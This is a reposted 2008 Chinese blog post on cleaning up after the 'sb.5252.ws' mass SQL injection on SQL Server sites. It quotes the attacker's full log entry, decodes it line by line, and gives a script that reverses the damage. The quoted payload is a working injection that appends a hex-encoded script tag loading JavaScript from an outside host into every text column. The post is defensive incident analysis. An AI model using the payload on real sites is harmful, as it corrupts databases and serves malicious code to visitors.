惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
S
SegmentFault 最新的问题
Recent Commits to openclaw:main
Recent Commits to openclaw:main
Attack and Defense Labs
Attack and Defense Labs
F
Full Disclosure
Vercel News
Vercel News
N
News | PayPal Newsroom
The GitHub Blog
The GitHub Blog
H
Hacker News: Front Page
H
Heimdal Security Blog
P
Privacy International News Feed
博客园 - 司徒正美
Google DeepMind News
Google DeepMind News
N
Netflix TechBlog - Medium
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
C
Cisco Blogs
L
Lohrmann on Cybersecurity
D
Docker
Recent Announcements
Recent Announcements
Security Archives - TechRepublic
Security Archives - TechRepublic
人人都是产品经理
人人都是产品经理
C
CXSECURITY Database RSS Feed - CXSecurity.com
P
Proofpoint News Feed
T
Tailwind CSS Blog
C
Check Point Blog
博客园 - 叶小钗
Google Online Security Blog
Google Online Security Blog
Martin Fowler
Martin Fowler
Stack Overflow Blog
Stack Overflow Blog
博客园 - 聂微东
S
Secure Thoughts
博客园 - Franky
博客园_首页
阮一峰的网络日志
阮一峰的网络日志
P
Palo Alto Networks Blog
Latest news
Latest news
量子位
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
博客园 - 三生石上(FineUI控件)
The Cloudflare Blog
Last Week in AI
Last Week in AI
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Cyberwarzone
Cyberwarzone
小众软件
小众软件
Cisco Talos Blog
Cisco Talos Blog
Hacker News: Ask HN
Hacker News: Ask HN
T
Threatpost
T
Tenable Blog
P
Privacy & Cybersecurity Law Blog
WordPress大学
WordPress大学

博客园 - 最坏是单飞

[转载]启用IIS的Gzip压缩功能 javascript判断IFRAME是否加载完成 - 最坏是单飞 - 博客园 Cookie注入是怎样产生的 判断记录是否存在 exists 和 top 1 要比 count 快 国外网站设计与浏览习惯 从一个错误提示引出SQL中in和or的问题。 CSS中 link与@import的区别 firefox3.0上安装google toolbar的问题 ASP.NET中常用的26个优化性能方法 INSERT 失败,因为下列 SET 选项的设置不正确: 'ARITHABORT' 背英语单词的捷径 提高sql server性能的几种方法 Windows下配置Apache支持PHP windows Server mysql的root密码忘记修复方法 select时尽可能少使用as对性能很有好处 asp调用存储过程返回值为空解决方案 - 最坏是单飞 - 博客园 如何在SQL Sever中建立索引? 解决ASP.NET中Type.GetType方法总返回空的问题 - 最坏是单飞 - 博客园 验证视图状态 MAC 失败
sb.5252.ws恶意注入解决方法
最坏是单飞 · 2008-05-07 · via 博客园 - 最坏是单飞

首先鄙视下,最近很多人都遭了殃
其实这个本身还是利用网站安全漏洞进行注入的
所以大家一定要加强网站提交数据或传参时候的控制。。一定要严格处理。尽量避免使用“+“号运算符链接sql语句并执行

下边说下解决方法把。我的是03服务器,数据库是sql server 2005(貌似遭殃的都是sql server)
首先,打开你的iis日志,如果没有改动的话应该在
c:\windows\system32\logfiles\httperr\
目录下
按时间最近的开始查,在里边查找declare(因为它使用的是动态sql语句,所以必须定义变量)
不要怕费时。。怕费事的话可以用《文本替换专家查找》

找到以后,会发现有这样一条记录

2008-05-06 21:07:53 a.a.a.a 34717 b.b.b.b 80 HTTP/1.1 GET /showtree.aspx?topicid=56008&postid=414578;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C2F7469746C653E223E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- - 3 Timer_MinBytesPerSecond 进程池
红色部分是错误文件,大家一定要修复,仔细检查。。确认无漏洞

其中a.a.a.a是访问者(可能是攻击者)的ip,b.b.b.b服务器IP

其中你会发现

1;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C2F7469746C653E223E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;

这就是被注入的语句。很强大啊。呵呵
但是很乱,因为是经过URL编码的。。我们用UrlDecode方法解密后得到的代码,我们把前后的分号都去掉看

 1dEcLaRe @t vArChAr(255),@c vArChAr(255) --定义变量
 2dEcLaRe tAbLe_cursoR cUrSoR --游标
 3FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) --遍历表和字段
 4oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c --打开游标
 5while(@@fEtCh_status=0) --开始
 6bEgIn 
 7--这里执行更新操作呢。。注意
--
exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(co插入代码nvert(varchar,['+@c+']))+cAsT(0x3C2F7469746C653E223E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))'
 8fEtCh next FrOm tAbLe_cursoR iNtO @t,@c --下一条记录
 9eNd --结束
10cLoSe tAbLe_cursoR --还不错,把游标给关了
11dEAlLoCaTe tAbLe_cursoR --再次感谢

大家都知道上边进行了什么操作了吧。。
这就是我们数据库里无缘无故多了东西的原因

下边说一下怎么恢复数据库
首先说明下,不一定完全奏效,因为在插入数据的时候,有些被强制揭去了一部分。。大家最好有备份
其实很简单,把刚才的语句反写就可以了
作此操作钱为了避免数据丢失请先备份数据库,每个人可能被注入的内容不一样,一定要变通,从第一步做起

 1dEcLaRe @t vArChAr(255),@c vArChAr(255
 2dEcLaRe tAbLe_cursoR cUrSoR 
 3FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167
 4oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c 
 5while(@@fEtCh_status=0
 6bEgIn 
 7exec('UpDaTe ['+@t+'] sEt ['+@c+']=replace(convert(varchar,['+@c+']),cAsT(0x3C2F7469746C653E223E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67)),'''')'
 8fEtCh next FrOm tAbLe_cursoR iNtO @t,@c 
 9eNd 
10cLoSe tAbLe_cursoR 
11dEAlLoCaTe tAbLe_cursoR
12

好了,检查下数据库吧

最根本的解决方法还是加强sql语句的过滤,加强html脚本的过滤